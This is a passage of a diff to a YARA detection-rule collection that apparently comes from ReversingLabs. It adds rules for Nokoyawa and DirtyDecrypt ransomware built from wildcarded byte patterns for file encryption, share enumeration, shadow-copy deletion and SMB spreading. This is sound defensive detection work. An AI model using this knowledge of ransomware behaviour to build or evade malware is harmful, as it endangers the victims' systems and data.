?? ?? ?? E8 ?? ?? ?? ?? 51 C6 45 ?? ?? 6A ?? 8B BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 57 + E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 + 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 + ?? 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 6A ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 + C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 6A ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A + } + $encrypt_files_v2_p4 = { + 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 46 ?? 8B B5 ?? ?? ?? ?? 6A + ?? 50 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 + ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 + 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? + ?? ?? ?? 57 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 57 FF + 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B + 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? + ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 50 ?? 8D 4A ?? 89 8C 15 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B + E5 5D 8B E3 5B C2 + } + $drop_ransom_note_v2_p1 = { + 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? + ?? 64 A1 ?? ?? ?? ?? 50 53 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 50 8D + 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 6A ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? 8B C6 66 83 3E ?? 74 ?? 0F 1F 80 ?? ?? ?? ?? 83 C0 ?? 66 83 38 ?? 75 ?? 50 56 8D + 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 + BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 + ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? + ?? 6A ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? + ?? 50 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 8D 85 ?? ?? + ?? ?? 3B C6 74 ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA + ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 + E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C6 85 ?? ?? ?? ?? ?? 0F 10 06 0F 11 85 ?? ?? ?? ?? F3 0F 7E 46 ?? 66 0F D6 85 ?? ?? + ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C6 06 ?? 8B 95 ?? ?? ?? ?? 83 FA + } + $drop_ransom_note_v2_p2 = { + 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 + C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8B 95 ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? + ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 + C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 + ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? + 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? + ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 8D 8D ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? + ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 + ?? ?? ?? ?? C6 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 6A ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 6A ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 + ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 89 8D ?? ?? ?? ?? 8B 01 FF 50 ?? 8D 85 ?? ?? ?? ?? + C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? + ?? 8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 01 8B 40 ?? FF D0 85 C0 74 ?? 8B 10 8B C8 6A ?? + FF 12 EB ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 + } + $drop_ransom_note_v2_p3 = { + 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 83 BD ?? ?? ?? + ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 0F 43 95 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 + ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? EB + ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 + 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 + 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 + ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? + ?? ?? ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? + 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 + C4 ?? 8B 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C6 85 ?? ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 + ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D + 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? + ?? ?? ?? 8B E5 5D 8B E3 5B C3 + } + $smb_spreading_v2_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 6A ?? 6A ?? 6A ?? + 6A ?? 68 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 83 C4 ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 3A ?? 0F 8E ?? ?? ?? ?? 33 DB 89 9D ?? ?? ?? ?? 8D 42 + ?? 03 C3 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B C3 BB ?? ?? ?? ?? 89 + 85 ?? ?? ?? ?? 83 C4 ?? 89 9D ?? ?? ?? ?? 66 90 8D 72 ?? 03 F0 8B CE 8D 79 ?? 66 0F + 1F 44 00 ?? 8A 01 41 84 C0 75 ?? 2B CF 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 C4 ?? 8D 45 ?? 6A ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? + ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? + ?? 50 6A ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 81 FB ?? ?? ?? ?? 0F 85 + ?? ?? ?? ?? 33 FF 39 BD ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 33 F6 0F 1F 40 ?? 8B 85 ?? ?? + ?? ?? 83 7C 06 ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 34 06 E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? FF 34 06 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF + } + $smb_spreading_v2_p2 = { + 15 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 47 83 C6 ?? 3B BD ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 81 FB ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? 05 ?? ?? ?? ?? 83 EB ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 0F 85 ?? + ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 46 81 C3 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? + 89 9D ?? ?? ?? ?? 3B 32 0F 8C ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 33 CD 33 C0 5F 5E 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "yinsheng xie" and pe.signatures [ i ] . serial == "42:11:d2:e4:f0:e8:71:27:31:93:02:c5:5b:85:bc:f2" and 1360713599 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( ( all of ( $find_files_v1_p* ) ) and ( all of ( $network_enumeration_v1_p* ) ) and ( all of ( $delete_shadow_copies_v1_p* ) ) and ( all of ( $encrypt_files_v1_p* ) ) ) or ( ( $find_files_v2 ) and ( all of ( $encrypt_files_v2_p* ) ) and ( all of ( $drop_ransom_note_v2_p* ) ) and ( all of ( $smb_spreading_v2_p* ) ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_07B44Cdbfffb78De05F4261672A67312 : INFO FILE +rule REVERSINGLABS_Win64_Ransomware_Nokoyawa : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Nokoyawa ransomware." author = "ReversingLabs" - id = "18787692-1233-5ea8-869c-feb530d06237" - date = "2020-08-05" - modified = "2023-11-08" + id = "31470ce4-381f-50d2-bbca-03c592e62a7d" + date = "2022-06-06" + modified = "2022-06-06" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L603-L619" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Nokoyawa.yara#L1-L104" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c88a8543782fc49d8aa68f3fc8052bd3316d10118dfb2ef2eef5006de657b6f1" + logic_hash = "85b7d93db06007d0043b1489b532410ccc700cf082b641fff8a09de2ffe9101d" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Nokoyawa" + tc_detection_factor = 5 importance = 25 + strings: + $enum_shares = { + 48 89 4C 24 ?? 48 81 EC ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + 48 8D 44 24 ?? 48 89 44 24 ?? 4C 8B 8C 24 ?? ?? ?? ?? 45 33 C0 33 D2 B9 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 7C 24 ?? ?? 74 ?? 33 C0 E9 ?? ?? ?? ?? 8B 44 24 ?? + 8B D0 B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 75 ?? 33 C0 + E9 ?? ?? ?? ?? 8B 44 24 ?? 44 8B C0 33 D2 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 4C 8D 4C 24 + ?? 4C 8B 44 24 ?? 48 8D 54 24 ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 7C + 24 ?? ?? 0F 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8B 44 24 ?? FF C0 89 44 24 + ?? 8B 44 24 ?? 39 44 24 ?? 73 ?? 48 8B 44 24 ?? 83 78 ?? ?? 75 ?? 8B 44 24 ?? 48 6B + C0 ?? 48 8B 4C 24 ?? 48 8B 54 01 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? + ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 48 6B C0 + ?? 48 8B 4C 24 ?? 8B 44 01 ?? 83 E0 ?? 83 F8 ?? 75 ?? 8B 44 24 ?? 48 6B C0 ?? 48 8B + 4C 24 ?? 48 03 C8 48 8B C1 48 8B C8 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? EB ?? 81 7C 24 ?? + ?? ?? ?? ?? 74 ?? EB ?? 81 7C 24 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 4C 24 ?? FF + 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 + } + $find_files_p1 = { + FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 83 + E0 ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 84 + ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? + ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 + 8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? + ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 48 8D 4C 24 + ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? + 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 3D ?? ?? + ?? ?? 74 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 98 48 8B D0 48 8D 4C 24 ?? E8 ?? ?? ?? + ?? 3D ?? ?? ?? ?? 75 ?? E9 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48 98 48 8B 8C 24 ?? + ?? ?? ?? 0F B7 04 41 83 F8 ?? 75 ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48 + } + $find_files_p2 = { + 98 48 8B 8C 24 ?? ?? ?? ?? 0F B7 04 41 83 F8 ?? 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48 98 48 8B 8C 24 ?? ?? ?? ?? + 0F B7 04 41 83 F8 ?? 75 ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C8 48 98 48 8B + 8C 24 ?? ?? ?? ?? 0F B7 04 41 83 F8 ?? 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 4C + 24 ?? E8 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 15 ?? ?? + ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 85 C0 75 ?? EB ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B 4C + 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 + 81 C4 + } + $encrypt_files = { + 48 89 4C 24 ?? 48 83 EC ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 + 24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 48 89 44 24 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? B9 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 48 89 44 24 ?? BA ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 54 24 + ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 4C 8B 44 24 ?? 48 8B 15 ?? ?? ?? ?? 48 8B 4C 24 ?? + E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 41 B8 ?? ?? ?? ?? 33 D2 + 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? + 48 8B 4C 24 ?? 48 89 48 ?? 48 8B 44 24 ?? C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? 48 C7 + 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? + 48 89 48 ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 89 48 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 48 8B 4C 24 ?? 48 89 41 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 41 ?? + 48 8B 44 24 ?? C7 40 ?? ?? ?? ?? ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 8B 94 24 ?? ?? ?? + ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 98 4C 8B C0 48 8D + 15 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 48 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 83 C0 ?? + 48 8B D0 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 54 24 + ?? 48 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 45 33 C9 41 B8 + ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 50 ?? 48 8B 44 24 ?? 48 8B 48 ?? FF 15 ?? ?? ?? ?? + 48 8D 05 ?? ?? ?? ?? F0 FF 00 48 83 C4 ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Buster Paper Comercial Ltda" and pe.signatures [ i ] . serial == "07:b4:4c:db:ff:fb:78:de:05:f4:26:16:72:a6:73:12" and 1359503999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $enum_shares ) and ( $encrypt_files ) } -rule REVERSINGLABS_Cert_Blocklist_4F8B9A1Ba5E60C754Dbb40Ddee7905E2 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Dirtydecrypt : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects DirtyDecrypt ransomware." author = "ReversingLabs" - id = "9b6ba6bb-a796-59e1-a38b-04d4b60a99a6" - date = "2020-08-05" - modified = "2023-11-08" + id = "f4d69c3e-a082-5bc9-bf72-4cc330d3de74" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = 